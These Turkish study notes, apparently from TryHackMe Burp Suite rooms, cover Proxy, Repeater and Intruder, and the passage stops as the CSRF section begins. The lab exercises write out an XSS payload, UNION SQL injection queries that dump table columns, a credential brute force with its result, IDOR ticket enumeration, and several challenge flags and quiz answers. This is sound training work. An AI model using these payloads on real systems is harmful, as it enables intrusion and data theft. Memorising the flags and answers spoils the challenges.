işte bunu anlamamızı sağlayacak özellikte burp suit in sequencer özelliğidir.
yani rastgele mi, sıraylam mı oluşturulmuş bunu anlamamızı sağlar
- sorular:
Hangi Burp Suite özelliği kendimizle hedef arasındaki istekleri engellememizi sağlar? : proxy
Bir giriş formuna kaba kuvvet uygulamak için hangi Burp aracını kullanırız? : intruder
- 'The Dashboard : Burp Suite Gösterge Tablosu
- tasks:
- biz uygulamayı kullanırken burpsuit in çalıştıracağı arak planda görevlerini tanımlamamızı sağlar
- pro sürümde isteğe bağlı taramalar da bu kısımda oluşturulabilir
- event log
- burp suit aracılığı ile herhangi bir bağlantı bilgileri verir tarih/zaman
- issue activity (pro sürüm)
- bu kısım pro sürümüne özel bir bölüm
- otomaik olarak tarayıcı taradından bulunan güvenlik açıkları listelenir
- advisory (pro sürüm)
- bu danışma bölümü de bulunan güvenlik açıklarının referanslar ver önerilen düzeltmeler hakkında daha detaylı bilgi verir
- burada bizim kullanacağımız alanlar ise:
- event log
- tasks
- soru: Proxy yi başlatmak gibi Burp Suite tarafından gerçekleştirilen eylemler ve Burp aracılığıyla yapılan bağlantılarla ilgili ayrıntılar hangi menüde sağlanır? : event log
- ' Options : Burp Suite Ayarları
- İki tür ayar vardır. Bunlar:
- user settings : burp suit tin tamamında daki yapılandırmaları içeri
- project settings : geçerli projede yapılan yapılandırmaları içerir
- bu kısıma ulaşmak için:
- Ayarlar penceresinin sol tarafında bir menü bulacaksınız. Bu menü, aşağıdakiler dahil farklı ayar türleri arasında geçiş yapmanızı sağlar:
- search: Anahtar sözcükleri kullanarak belirli ayarları aramayı etkinleştirir.
- type filter: user ve project seçeneklerinin ayarlarını filtreler.
- user settings: Burp Suite kurulumunun tamamını etkileyen ayarları gösterir.
- project settings: Geçerli projeye özel ayarları görüntüler.
- categories: Ayarların kategoriye göre seçilmesine olanak sağlar.
- filtreleme ile ayarları bulmak için: Proxy > proxy settings
- bu kısımdan ulaşılabilir.
- sorular:
Hangi kategoride "Cookie jar" referansını bulabilirsiniz? : sessions
Burp Suite güncelleme davranışını kontrol eden "Updates" alt kategorisini hangi temel kategoride bulabilirsiniz? : suite
Burp Suite te kısayolların tuş atamalarını değiştirmenize olanak sağlayan sub-category adı nedir? : hotkeys
İstemci Tarafı TLS sertifikalarını yüklemişsek, bunları proje bazında (yea/nay) geçersiz kılabilir miyiz? : Yea
- 'Introduction to the Burp Proxy : Burp Proxy ye Giriş ve Site Haritası ve Sorun Tanımları
- proxy özelliği sayesinde browser ile hedef web sunucusu arasına girebiliriz ve değişiklikler yapabiliriz
- ve bu yapılan değişikler ile farklı sonuçların döndürülmesini sağlayabiliriz.
- uygulama:
- daha önceki sürümlerinde olmayan yerleşik browser özelliği mevcut. Biz her iki kısımda da işimizi yapabiliriz.
- yerleşik browser için önce normla kullnıcı olmamız gerek yani mesela:
- bir terminal açalım ve root kullanıcısı olamadan burpsuite yazalım
- sonra gelen ekeranları next > startup > proxy > open brwoser
- açıldığı göreceksiniz.
- işlemlerimizi burada yapcağız.
- not: tryhacme de openvpn bağlantısını kullanarak kendi kalinizde çalışma yapabilirsiniz. startmachine butonuna tıkladıktan sonra gelen ip yi
browser a girip çalışma ortamını aktif edebilirsiniz.
- open browser dedikten sonra intercept is off kısımı var . bu açık ise browser da yapılan tüm istekler, yanıtlar vb. paketlerin hepsi yakalanacaktır.
- ek olarak web güvenliği hakkında burpsuite aracı ile bilgi öğrenmek isteyenler için: https://portswigger.net/web-security
- burp suite tarafından ücretsizdir.
- ve bu aşamada burpsuite üzerinde değişikliğe uğratılarak hedef web sunucusuna o şekilde gönderilecektir.
- öncelikle egitim.beyazhacker.com sitesine gitmeye çalışalım
- gördüğünüz üzere request (istek) paketinin yakalandığını göreceksiniz
- forward butonuna basarak süreci izleyebiliriz.
- burada paket bilgisi değiştirilerek bir gönderim sağlayacağız ve ne tepki verdiğini inceleyeceğiz
- yakalanan pakette şu kısımı değiştirelim:
- Host: egitim.beyazhacker.com => Host: beyazhacker.com
- forward diyelim
- tekrar aynı işlemi yaparak forward diyelim
- ve bu süreçte bir yönlendirme yapmış olduk
- burada gönderilen istek manipüle edildi.
- bunun dönüşü yani response u da manipüle edebiliriz
- bunun için bir ayar yapmamız gerek:
- proxy settings => response interception rules => ve hemen altındaki kutucuğu işaretleyin ve projeye geri dönün
- şimdi browser a beyazhacker.com yazın ama interceps on olmalı
- bunu yaptıktan sonra requset sorgusunun oluştuğunu göreceksiniz yani beyazhacker.com a gidilecek
- forward değin
- response olarak bunu görebilirsiniz
- yani sunucudan dönen cevap bu
- yani web sayfa içeriğini görmiş oluyoruz
- burada değiştirebileceğimiz bir içerik arayın (gideceğiniz siteyi kendiniz de belitleyebilirsiniz)
- ve burada tam olarak hem giden hem de dönen bilgiler manipüle edilmiş oldu
- yani istek atırlıken de manipüle edildi yanıt dönerken de manipüle edildi
- burada bahsedeceğimiz kısımlar: target altında 'site map' site haritesı ve 'issue definitions' sorun tanımları kısımları
- bu sorun tanımları kısmı güvenlik açıklarıyle alakalı bize bilgi veren bir alandır
- bizim kullandığımız sürümde bu yok ama gücvenlik açıklarıyla alakalı bilgi alabileceğimiz bir alan
- bizim için önemli olan kısım site haritası kısmı
- bu site map kısmı:
- normal kullanıcıya gösterilmek istenmeyen
- yada bir sayfa yüklendiği zaman arada hızlı bir şekilde yüklenen ve normal kullanıcıların görmemesi gereken sayfalar olabilir
- bizde bunu site map özelliği ile elde edebiliriz
- sorudan ilerleyerek
- sorr: soru: Olağandışı bitiş noktasını ziyaret ettikten sonra aldığınız bayrak nedir? : THM{NmNlZTliNGE1MWU1ZTQzMzgzNmFiNWVk}
- cevap:
burada teker teker sayfaları kontorol ederken support kısmında bir requset olduğunu ve şöyle garip bir başlığılın olduğunu keşfettik
=> GET /5yjR2GLcoGoij2ZK HTTP/1.1
buradaki bu /5yjR2GLcoGoij2ZK kısımı alarak urlde ekledik
http://10.10.66.229/5yjR2GLcoGoij2ZK
ve bize burpsuite üzerinde dönen response yantında
THM{NmNlZTliNGE1MWU1ZTQzMzgzNmFiNWVk}
bayrağımızı bulduk
- 'Proxying HTTPS
- burpsuite i default ayarlar ile kullandığımızda SSL sertificası hatası ile karşılaşıyoruz
- bu hatanın giderilmesi için bir sertifika upload işlemi var bunu uygulayacağız
- browser ile burpsuite etkileşim halindeyken url kısmına : http://burpsuite/ yazalım
- ekranda: CA Certificate ibaresini göreceksiniz buna tıklayın
- tıkladıktan sonra bir dosya inecek bu dosyamızı kullanacağız
- url kısmına: about:preferences yazın
- arama kısmına: certificates
- authorities kısmında import a bas
- indirdiğin dosyaya seç
- ve ilk kutucuğu işaretleyip onayla daha sonra google.com a gitmeye çalış. eğer ssl hatası alırsan adımları tekrarka almazsan başardın demektir.
- ' Burp Suite Kapsam Belirleme
- bir web sitesine gitmek üzere istek atıldığı zaman ilgili sitenin tüm web sitelerine de istek atılmış oluyor
- şimdi bunun için firefoz umuzu burpsuit ile ilişikilendirelim
- kapsam belirleme yapmadan önce ki istek durumunu bir inceleyelim
- herhangi bir site adresine gitmeye çalışın
- göreceksiniz ki browser, bu istek ile ilgili başka servis vb. şeyleride yakalıyor burpsuite
- bu da ekstra kalabalık demek
- kapsam belirlek için önce ilk istek yakalandıktan sonra 'burpsuite' de 'Target' kısmına bir gidelim
- burada 'site map' kısmında birden fazla site ile ilişki kurduğunu göreceksiniz
- istediğimiz hedefi önce mouse ile seçelim
- sağ tıklayıp 'add to scope' diyerek daha sonra 'yes' dedikten sonra bu kapsam belirleme işlemi olmuş oluyor.
- bunu kontrol etmek için 'scope' sekmesine tıklayın burpsuite de ve burada eklendiğini göreceksiniz
- yani artık kısıtlamayı bu domain için yapcak
- bu domain harici gerçekleşen istekler yakalanmayacak
- son olarak 'proxy' sekmesinden options atıklayın ve
- burada request kımında 'relationship' de 'is in target scpoe' tikleyin
- bu bu şu demek:
- hem tüm içeriği yakalacak ve ardından target => scope alanında bulunan hedeflari yakalacak
- ' Burp Suite ile XSS Güvenlik Açığı İstismarı
- bu kısımda örnek bir xss hacking uygulaması yapacağız
- hedef sistemde kullanıcıda bir veri girişi beklenen yerlere javascript kodu çalıştıra biliyorsak burada xss açığı var diyebiliriz.
- burada da hedef link te ticket sayfasında bir gücenlik açığı varmış buna bakalım:
- burada bir javascript kodu yazmaya çalışalım: http://10.10.201.13/ticket/
- <script>alert("Succ3ssful XSS")</script>
- ama otomaik olarak silindiğini göreceksiniz
- burpsuite aracı ile paket yakalıp giden verinin değiştirilmesini sağlayarak yapmaya çalışalım
- response interceptions ı aktif edelim önce
- daha sonra open broser açalım ve ve buradan giriş yapalım
- burada istenilen bilgiler girildikten sonra onay butonuna basalım
- burpsuite de forward diyelim ve şöyle bir şey yakalayacak: email=dogukan%40gmail.com&content=hi+hacked
- email kısmını: email=dogukan%40gmail.com&content=hi+hacked
- bu kısımı şöyle değiştirelim: email=<script>alert("Succ3ssful+XSS")</script>&content=h1+hacked
- ve forwar diyelim ve sonuç: Succ3ssful XSS
16.Study: ' Burp Suite: Repeater
- ' What is Repeater?
- yakalana istekleri manipüle etme, tekrar tekrar göndermek için kullanılan bir özelliktir
- Repeater:
- proxy yoluyla elde edilen requsets ler üzerinde istediğimiz değişiklikleri yaprak
tekrar tekrar hedef sisteme göndermemizi ve sunucudan dönen cevapları incelememizi sağlan bir özellik
- uygulama yaparak bunu pekiştirelim
- ilk olarak proxy ile bir istek yakalamamız gerekiyor
- proxy ile yakalanan requset, repeater a göndererek işlem yapacağız
- istek yakalandıktan sonra ekrana sağ tık ile 'send to repeater' a tıklıyoruz
- burada değişiklik yaprk aynı zamanda browser etkileşime girmeden response kısmında neler olduğunu gözlemleyebiliriz
- mesela https://10-10-172-21.p.thmlabs.com/ gittiğimiz de buradki istek paketini gönderelim repeater a
- ve burada istek daha sunucuya ulaşmadan değişikliklere nasıl tepki verdiğini görebiliriz
- request list :üst köşe, repeater istek listesini gösterir ve birden fazla isteği aynı anda yönetir
- request control :istek listesinin altında, isteği görme, iptal etme ve geçmişteki isteklere göz atma seçeneği sunar
- request and respomse view :arayüzün ana kısmında, isteği düzenleyip görebileceğiniz, yanıtı düzenleyebileceğiniz alan
- layout options : İstek ve yanıt görünümlerinin yerleşimini özelleştirmek için
- inspector : istekleri daha sezgizel bir şekilde analiz etme ve düzenleme imkanı sunar
- target : hedef, ip adresi veya alan adını gösterir
- soru: Hangi bölümler isteklerimiz üzerinde bize daha sezgisel bir kontrol sağlıyor? : Inspector
- ' Repeater Inspector:
- yapılan request ler ile dönen respons lar ile ilgili olarak sonuçları kategorize eden bir yapı
- bu kısımda ekleme, silme ve düzenleme işlemleri yapılabilir
- buradaki isteklerde, gözümündeen kaçma ihtimali olan verileri düzenli bir formatta gösteren yapı
- bunlar:
istek nitelikler
istek sorgu parametreleri
istek sayfanın nody kımında form aracın mesela bir gönderim varsa bu yakalanır
istek çerezler
istek başlıklar
yanıt başlıklar
- ' bir saldırgan gözü ile paket değişim değerlendirme:
- İsteğin sonundaki sayıyı aşırı girişlerle değiştirerek sunucunun "500 Dahili Sunucu Hatası" koduyla hata vermesini sağlayıp sağlayamayacağınıza bakın.
Uç noktada 500 hatasına neden olduğunuzda aldığınız bayrak nedir?
- bu kısımda bir saldırgan mış gibi düşünelim:
- saldırgan bir kişi bir sistemi normal bir şekil de kullanmaz
- sistemin ilerleyişi neyse onun tersine işlem yapar
- böylelikle sistemin açığını bulabilsin
- diyelim ki bir web sitesinde bazı ürünler.
(soru: neden bu değerlar artarak gidiyor??)
(mesela değerler çarpım olarak ilerleyemez mi??)
(negatif olarak girilemez mi ??)
- yani sistemin beklediğinin dışında birşeyler elde etmek istesek nasıl bir sonuçla karşılaşırız??
işte bunun kontrolünü yapmamız gerekiyor
- ' Extra-mile Challenge (hata tabanlı sql injection)
- hata tabanlı sql injection yapacağız burada:
- tek veya çift tırnak ile sql injection varmı yok mu bunu anlayabiliyorduk
- fakat burada bize veritabanında bir veri döndürmeyen yani hiç olmayan bir sayfa bulmamız gerek
- bunu için prox ile yakaladığımız isteğin başlık kısmını GET /about/1 HTTP/1.1
şu şekilde değiştirelim: GET /about/10 HTTP/1.1
- daha sonra bizde web sayfasında gösterilmeye ama var olan bir kolon içindeki bilgiyi istiyor
- bunun içinde tüm kolonları bulmamız gerek. UNION ile yapacağız bu işlemi
- şimdi daha önce sql injection da yaptığımız gibi yalnız bu sefer burpsuite in repeater özelliğini kullarak
bir sql injection saldırısı yapacağız.
- önce gösterilen kolon sayılarını bulalım: (zaten biliyoruz 5)
- GET /about/10 union select 1,2,3,4,5 HTTP/1.1
- şimdi veritabanı adını bulalım (bunun için database())
- GET /about/10 union select 1,2,3,4,database() HTTP/1.1 => site
- şimdi bu siteyi kullanarak site içindeki tablo adlarını kullanalım
- GET /about/10 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema = 'site' HTTP/1.1 => people
- tablo isminide aldık zaten biliyorduk ama amaç adımları hatırlamak
- şimdi ise tablonun kolonlarını bulacağız
- GET /about/10 union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name = 'people' HTTP/1.1
=> id,firstName,lastName,pfpLink,role,shortRole,bio,notes
- tüm kolonlarımızı da bulduk
- şimdi bize gerekli olmayan ve zaten web sitesinde gösterilen il 5 kolona gerek ama id yi alalım yani
- GET /about/10 union select 1,2,3,4,group_concat(id,':',shortRole,':',bio,':',notes separator '<br>') from people where id = 1 HTTP/1.1
- GET /about/10 union select 1,2,3,4,group_concat(notes separator '<br>') from people where id = 1 HTTP/1.1
- ve yakaladık: THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}
17.Study: ' Burp Suite - İntruder
- ' What is Intruder:
- burpsuite de proxy özelliği ile elde ettiğimiz isteğe değiştirilmiş değerler ile otomatik olarak çok daha fazla istek göndermek için
kullanılan bir özellik
- örn:
- bir üye giriş panelini düşünün
- username ve password denemesi yapılılıyor
- bu intruder özelliği sayesinde orada ki username ve password kısmını değişik değerler ile kontrol ederek
- doğru username ve password bilgisi elde edilebilir
- öncelikle bize verilen link e giderek burada burp suite aracı ile intruder özelliğinin bölümlerine bakalım
- proxy ile yakalanan isteği send to inruder diyeyerek buraya gönderelim
- şimdi intruder a gidelim ve positions kısıma gelelim
- burada payloads positions kısmında değiştirilecek alanı belirlemeliyiz (şuanlık bir giriş paneli yok ama bu ön bilgi)
- burada değiştirilecek alanı seçip add butonuna tıkladığımızda bu kısıma saldırı gerçekleştirebiliriz. (add 1,add 2 ...)
- ve ek olarak burada saldırı tipini belirleyebiliriz (choose an attack type)
- şimdi payloads kımına geçelim
- burada, o değiştirilecek değerler (sırası ile) payload simple settings kımında bir liste veya elle yordamı ile denenecek değerler girilebilir
- options kısmı: saldırı ile ayarların yapıldığı bir bölüm
- resource pool: bu kısım lisanslı sürüm ile alakalı olduğunda bunu kullanmayacağız
- soru: Planladığımız saldırının "Saldırı tipini" hangi Intruder sekmesinde tanımlayabiliriz? : positions
- ' Positions
- hedefimizde : http://10.10.23.114/support/login/
- burada önce rastgele bir girdi yapalım ve giden isteği yalayıp bunu intruder a yollayalım
- ve burada username ve password kıısmlarının değişeceği alanları belirlemeye bakalım
- istek yakalandığında alt kısımlarda şunu göreceksiniz: username=dogukan&password=12345
- burada girdiğiniz değerleri sırayla seçerek add butonuna tıklayın
- ve şöyle görünmesini sağlayın: username=§dogukan§&password=§12345§
- eğer değişecek alanların sistem tarafından otomatik olarak algılansın istiyorsak: Auto butonuna basarak bunu gerçekleştirebiliriz. Deneyin
- amacımız giriş onaylı doğru giriş değerlerine sahip kullanıcı bilgilerini almak
- mesela eğer kullanıcı adı biliniyorsa o zaman sadece parola kısmını seçerek bu kısıma yönelik saldırı yapılabilir
- sıralama şu şekilde olur seçimlerde: soldan sağa ve yukarıdan aşağı
- bu örneğimize göre: dogukan , birin değişecek alan | 12345 , ikinci değişecek alan
- (bu kısımlar pekiştirme amaçlıdır daha sonra bahsedilecektir)
- atack tipini de Cluster bomb yapalım ve payloads kısmını geçtiğimizde
- payloads set i incelediğinizde iki seçenek olacak
- bunlar bizim belirttiğimiz alanlar. 1:dogukan, 2:12345
- ekstra bir şey daha eklemeyi deneyin rasgele
- tekrar payloads set kısmına gelin ve burada 3 seçenek olduğunu göreceksizin
- rasgele seçtiğiniz değer yukarıda ise bu sefer değerler şöyle değişecek
- örn: 1:max-age=0, 2:dogukan, 3:12345
- ve herbir seçilen değer için ayrı ayrı eğer varsa bir dosya veya elle değer girerek bunun denemesini yapmasını sağlayabiliriz
- örnek birtane yapalım ama elle girelim
- bunun için payloads kısmında önce payloads set değerini seçin ve sonra alt kısımdaki payloads settings (simple list) kısmına add butonu yanındaki textboxa
değer girip add demeniz yeterli
- daha önce seçtiğiniz rasgele değeri caldırmak için o değeri seçin ve clear butonuna basın
- tamadır şimdi eklemeye başlayın
- username için:
admin
user
aaaa
USadmin
SU
root
- password için:
1241123
3424
234
12
23
543534
admin
root
- şimdi start attack deyin positions kısmında üst sağ tarafta ve bir ekran göreceksiniz
- burada elle girelen değerlerin çapraz bir şekilde denendiğine şahit olacaksınız
- tabi birşey olmayacak ama şimdilik ;)
- soru : Bir faydalı yük pozisyonunun başlangıcını ve bitişini hangi sembol tanımlar?
- cevap: bu işaretin anlamı: section sign yani bölüm işareti demek
- linux: ctrl + shitf + u + 00a7 ve sonra enter tuşuna basın
- windows: alt tuşuna basılı tutarak 0167 yazın ve sonra tuşu bırakın
- mac: Option (⌥) + 6 tuşlarına basarak yapabilirsiniz
- ' Introduction to Attack Types : Saldırı Türlerine Giriş
- 'Sniper:
- tek bir alana yönelik saldırıların yapılmasını sağlayan bir tür
- yani: kullanıcı adı bilinen ama paroloasını bilmediğimiz, hedefe yönelik sadece parola denemesi yapmamızı sağlayan bir özellik
- kullanıcı adı sabit olur örnn: admin ve parola kısmına daha önce yaptığımız gibi elle veya bir liste yüklenerek bu listenin
belli olan kullanıcı adının parolasını bulmasını sağlayabiliriz
- 'Battering Ram:
- bu saldırı türünde:
- bir tane listemiz olur
- bu listede hem kullanıcı adı hemde parola değerleri kullanılır
- listedeki her bir satır hem kullanıcı adı hem de parola olarak kullanılır.
- örn bir liste:
john123 password123
alice456 qwerty789
mike789 abcdef123
emma321 987654321
lucas111 welcome2024
- burada kullanıcı adı john123%20password123 dener, parolosını john123%20password123 dener
- bunu daha geniş düşünün, değiştirilmesi gereken üç veya daha fazla alan olduğunu düşünelim
- o zaman da aynı şekilde tek liste ve deşimesi gereken yerlere örnek listemiz gibi bir liste oluşturulması ile sürecin işletilmesi sağlanır
- yani her bir satır tek bir istekte gönderilir
- 'Pitchfork:
- iki adet liste kullanılır
- iki alan ve iki listemiz var
- bunların ilk satırı aynı istekte gönderilir (her bir listenin satırları sanki tek listeymiş gibi kullanılır)
- yani şöyle düşünün:
- birinci liste kullanıcı adları ikinci listede parolalar var
- ve bu listenin her bir satırları bire bir ilerliyor
- örn:
1.liste 1.satır == 2.liste 1.satır
1.liste 2.satır == 2.liste 2.satır
1.liste 3.satır == 2.liste 3.satır
- bu şekilde eşleştirilip bir istekte gönderilerek sonucu inceleniyor
- 'Cluster Bomb
- tam anlamıyla Brute Force (Kaba Kuvvet) saldırısı için kullanılan bir özellik
- kullanıcı adı için ayrı bir liste
- parola için ayrı bir liste
- veya değişecek başka bir alan/lanlar için ayrı bir liste veya ayrı ayrı listeler kullanılabilir
- en fazla deneme yapmaızı sağlar bu özellik
- soru: Hangi saldırı türü, istekte tanımlanan her konuma her defasında bir veri yükü ekleyerek yükler arasında geçiş yapar? : Sniper
- ' Sniper
- bu senaryoda kullanıcı adını bildiğimizi varsayalım
- (sistemlerimizi hazırlayalım daha önceki adımlarda anlatıldı)
- uzantımız: machine_ip/support/login
- önce bir yakalama işlemi yapalım
- kullanıcı adı admin olarak girelim tabi bir sonuç olmayacak ama nasıl yapıldığını öğreneceğiz
- kullanıcı adı sabit kalacak ve saldırı yapacağımız kısım parola olacak
- saldırı tipini de sniper olarak ayarlayacağız
- ve mauel olarak liste hazılayalım
- eğer varsa load kısmından parola listesini ekleyebilirsiniz
- ve işimiz bittiğinde start attack diyerek işlemi başlatalım
- sonuç lara mouse ile tıklanarak request ve responslara göz atılabilir
- varsayalım ki parola bulundu o zaman length değeri diğer başarısız denemelerin aldığı değerden farklı olacaktır
- kesin doğrudur denilemez ama incelenmesi gerektiğini bilin
- sorular:
100 kelime içeren bir kelime listesine sahip bir istekteki üç parametreyi bulanıklaştırmak için
Sniper kullanıyor olsaydınız, saldırıyı tamamlamak için Burp Suite'in kaç istek göndermesi gerekirdi? : 300
Sniper bir saldırı gerçekleştirmek için kaç set yükü kabul edecek? : 1
- ' Battering Ram
- bu senaryoda ise bize verilen bilgiler doğrultusunda soru üzerinden gidelim
- uzantımız: machine_ip/support/login
- İçinde iki kelime bulunan (admin ve Guest) bir kelime listeniz varsa ve istek şablonundaki pozisyonlar şöyle görünürse:
kullanıcı adı=§pentester§&şifre=§Expl01ted§
Burp Suite'in gönderdiği ilk isteğin gövde parametreleri ne olur?
- önce saldırı tipini Battering yapalım
- ve manuel olarak sırayla
admin
Guest
- değerlerini ekleyelim ve saldırıyı başlatalım
- cevabımız: username=admin&password=admin
- buradaki saldırıda iki değişecek alan var ama listede tek bir kısım mevcut
- dolayısı ile her satır bu değişcek alanlara yazılır.
- unutmayın, pozisyon kısmından değişecek alanları seçmeniz gerekiyor
- (aradaki adımlar deteylı olarak anlatıldığı için ek olarak anlatılmamaktadır)
- ' Pitchfork
- Bu saldırı türünde, farklı pozisyonlar için ayrı ayrı listeler (payload set'ler) kullanılır.
- Örnek senaryoya göre, hedef URL: machine_ip/support/login
- Positions kısmında, değiştirilecek alanları seçeriz ve daha sonra saldırı tipi olarak Pitchfork seçilir.
- Payloads kısmında, her değişecek pozisyon için ayrı bir payload listesi (set) eklenir.
- Örneğin, birinci değişecek alan için bir liste, ikinci değişecek alan için başka bir liste eklenir.
- Saldırıyı başlattığımızda, iki liste birbirine paralel olarak çalışır; yani birinci listedeki ilk değer, ikinci listedeki ilk değerle birlikte aynı istekte gönderilir.
- Bu saldırı tipi, her değiştirilecek pozisyon için bir liste gerektirir.
- Her listedeki aynı sıradaki satırlar, bir araya getirilerek istekler oluşturulur.
- Pitchfork saldırısı için maksimum 20 farklı pozisyon ve liste kullanılabilir.
- ek örnek olarak:
- varsayalım ki 3 değişken var
- bunlar kulllnıcı adı, email adresi ve parola
- ozaman hem kullanıcı adı için
- hem email adresi için
- hem de parola için aynı satır sayısına sahip toplam 3 ayrı liste kulanmalıyız
- soru: Pitchfork modunda Intruder'a yükleyebileceğimiz maksimum yük seti sayısı nedir? : 20
- ' Cluster Bomb
- bu senaryoda ise bize verilen bilgiler doğrultusunda soru üzerinden gidelim
- daha önce de çalışma mantığından bahsetmiştik en basit açıklama ile kaba kuvvet salrısı için kullanıldığını belirtmiştik
- belirtilen listeler çapraz olarak elealınır
- yani kullanıcı adı için 5 parolo kısmı için 10 adet veri bulunuyorsa bu listelerde
- o halde toplam 5x10=50 adet istekte bulunulur
- denememizi yapaılım
- daha önce ki gibi adımları takip ederek ilerleyiniz
- (bu adımlar es geçildi daha önce detaylı olarak anlatıldı)
- sizinde göreceğiniz üzere liste satır toplam adetleri çerpılarak ortaya toplam istek sonucu çıktı
- soru: Üç adet yük setimiz var. İlk set 100 satır, ikincisi 2 satır ve üçüncüsü 30 satırdan oluşmaktadır.
Saldırgan, bir Parçalı bomba saldırısında bu veri yükü setlerini kullanarak kaç istekte bulunacak? : 6000
- ' Payloads
- bu kısımda intruder/payloads kısmını biraz daha detaylı olarak ele alacağız
- önceki aşamaların hepsinde payload type da simple list i kullandık
- yani denenecen olan değerleri kendimiz ekledik
- şimdi burp suite nin bize sağlamış olduğu kolaylıklara bakalım
- yani listeyi biz eklemeden burpsuite aracı ile neler yapabiliriz bunlara bakalım
- mesela bir kaçtanesine bakalım:
- numbers
- birtane başlangıç değeri belirlenir from kısmında örn: 0000
- birtane bitiş değeri to örn: 9999
- birde artış miktarı step örn: 500
- deneme içi sadece parola alnını kullanalım ve sniper tipini seçelim
- ayarlamaları yaptıktan sonra atağı başlatın ve sonucuçları inceleyin
- dates
- burada da tarih kullanılır
- değerindeki gibi başlangıç tarihi, bitiş tarihi, artş miktarı
- ek alarak tarih formatını ayarlayabilirsiniz
- ve görünümü değiştirebilirisinz
- saldırı işlemleri için bir önceki kısımda yaptığımız gibi sniper seçili olsun ve sadece parola kısmını hedef alalım ve sonra saldırıyı başlatalım
- sonuçları gözlemleyiniz
- bruteforce
- burada önce kullanıcak karakter dizisini belirliyoruz
- örn character set : asd123
- sonra en küçük karakter adedi ile en büyük karakter adedleri belirlenir.
- min : 8, max : 8 olsun
- bu değerler ile verdiğimiz dize kullanılarak 8 karakterli bir şey oluşturacak
- belli bir süre çalıştırın ve sonra yukarıdaki attack butonundan pause diyerek sonuçları inceleyin
- username generator
- bu kısımda da bir değer giriyorsunuz max olarak 100 farklı değere çeviriyor
- mesela dogukan öztürk olarka ekleme yapalım (başka herhangi bir değer girebilirsinize: firstname.lastname@example.org gibi)
- sonra hedef kısmını username değeri yapalım ve saldırıyı başlatalım
- ve gelen sonuçları gözlemleyelim
- burada payload ın işlenmesi ile alakalı da bir bölüm var (payload processing)
- intruder => payloads kısmanda
- payload type ı simple list yapalım
- bir kaç değer ekleyelim
- burada ki girlen değerlere aytıca işlem yaptıra birliriz
- örn processing de add butonuna tıklayıp add prefix dediğimizde
- var olan değerin öncesine farklı bir değer ekleyebiliriz
- yani başında sabit olarak bildiğimiz bir değer varsa onu burada belirtebiliriz
- mesela 0000 ekleme yaparak deneyelim ve sonunçları gözlemleyelim
- bu başına ekledi.
- sonuna eklemek için add suffix i seçeriz (deneyin)
- soru: Kümedeki her bir yükün sonuna karakter eklemek için hangi Yük işleme kuralını kullanabiliriz? : Add suffix
- ' Pratic 1
- bu kısımda örnek bir uygulama yapacağız
- bize verilen bir dosya var: wget http://10.10.147.13:9999/Credentials/BastionHostingCreds.zip
- bunu indirelim ve şunu yapalım: mkdir BastionHostingCreds && cd BastionHostingCreds && unzip ../BastionHostingCreds.zip && ls -lh
- bize dört adet txt dosyası veriyor ve bunlarlar birşeyler yapmamızı istiyor
- hedef adresimiz: http://10.10.147.13/support/login
- atack türümüz: PichFork (her değişken alan için bir liste)
- bizden istenilen bir kullanıcının login bilgilerini almak
- izlenecek adımlar:
- burpsuite => proxy => intercept => open browser : http://10.10.147.13/support/login
- bu kısımdan sonra intercept is on olarak ayarlayın ve rasgele bir kullanıcı adı ve şifre girip request paketini yakalayıp intruder a gönderin (send to inruder)
- intruder kısmına gidin ve değişecek alanları add butonu ile seçin (auto butonu ile de seçebilirisiniz, sıra: yukarıdan aşağı ve soldan sağa)
- daha sonra choose atack type = pichfork ayarlayın ve payload kısmına geçin
- payload set 1: kullanıcı adı, payload set 2: parola
- ilk kullanıcı adı:
- indirdğimiz zip içeriğinde username.txt dosyasını payload settings kısmında load butonu ile ekleyeceğiz
- sonra paroloa:
- indirdğimiz zip içeriğinde password.txt dosyasını payload settings kısmında load butonu ile ekleyeceğiz
- şimdi atağı başlatın ve length kımını izleyin, bu kısımda farklı olan değerleri inceleyin
- ve bulduk: username=m.rivera&password=letmein1
- doğrulamak için logün sayfasında deneyelim
- soru: Hangi kullanıcı adı ve şifre kombinasyonu başarılı bir oturum açma girişimini gösterir? Yanıt formatı "kullanıcı adı:şifre"dir.
cevap: m.rivera:letmein1
- ' Pratic 2
- Uygulama Amacı
- Bu uygulamada IDOR açığını kullanarak bir kullanıcının ticket'ındaki bayrağı bulmayı hedefliyoruz.
- Adım 1: Hesaba Giriş Yapma
- Öncelikle, daha önce bulduğumuz hesabımızla giriş yapalım. Burada isteği yakalamak için Burp Suite aracını kullanacağız.
- Adım 2: İsteği Yakalama
- Bir ticket'a tıklayarak isteği yakalayalım ve bunu Intruder'a gönderelim.
- Adım 3: Saldırı Türünü Seçme
- En uygun saldırı türü olarak "sniper" tipini seçeceğiz. Bunun nedeni, belirli bir alana yönelik bir saldırı gerçekleştirecek olmamız.
- Adım 4: Hedef Alan
- Hedef alanımız: GET /support/ticket/1 HTTP/1.1
- Buradaki /support/ticket/1 in 1 sayısını seçip "Add" butonuna tıklıyoruz.
- Adım 5: Payload Ayarlama
- Payloads kısmında, "Numbers" payload türünü seçerek 1'den 100'e kadar 1'er gitmesini ayarlayalım.
- Adım 6: Saldırıyı Başlatma
- Saldırıyı başlatalım ve "Status Code" kolonuna tıklayarak 200 kodunu en üstte göstermesini sağlayalım.
- Adım 7: Sonuçların İncelenmesi
- Sondurum olarak, 6, 47, 57, 78 ve 83 sayılarında 200 kodunu yani başarılı olan istekleri bulmuş olacağız.
- Adım 8: Bayrağın Bulunması
- Bu sayıların her birine teker teker tıklayarak açılan pencerede, "THM" yazısını arayabilir veya kodları inceleyebilirsiniz.
- Ayrıca "Render" butonuna basarak web görüntüsünü inceleyebilirsiniz.
- Sonuç
Bayrağımız: THM{MTMxNTg5NTUzMWM0OWRlYzUzMDVjMzJl}
Sorular
- Bu göreve en uygun saldırı türü hangisidir?
Cevap: Sniper
- Bayrağı içeren bileti bulun. Bayrak nedir?
Cevap: THM{MTMxNTg5NTUzMWM0OWRlYzUzMDVjMzJl}
- ' Pratic 3
- bu kısımda biraz daha zor bir kaba kuvvet saldırısı gerçekleştireceğiz (CSRF)
- CSRF (Cross-Site Request Forgery)(siteler arası istek sahteciliği)nedir:
- Siteler arası istek sahteciliği (CSRF - Cross-Site Request Forgery), bir web güvenlik açığıdır.
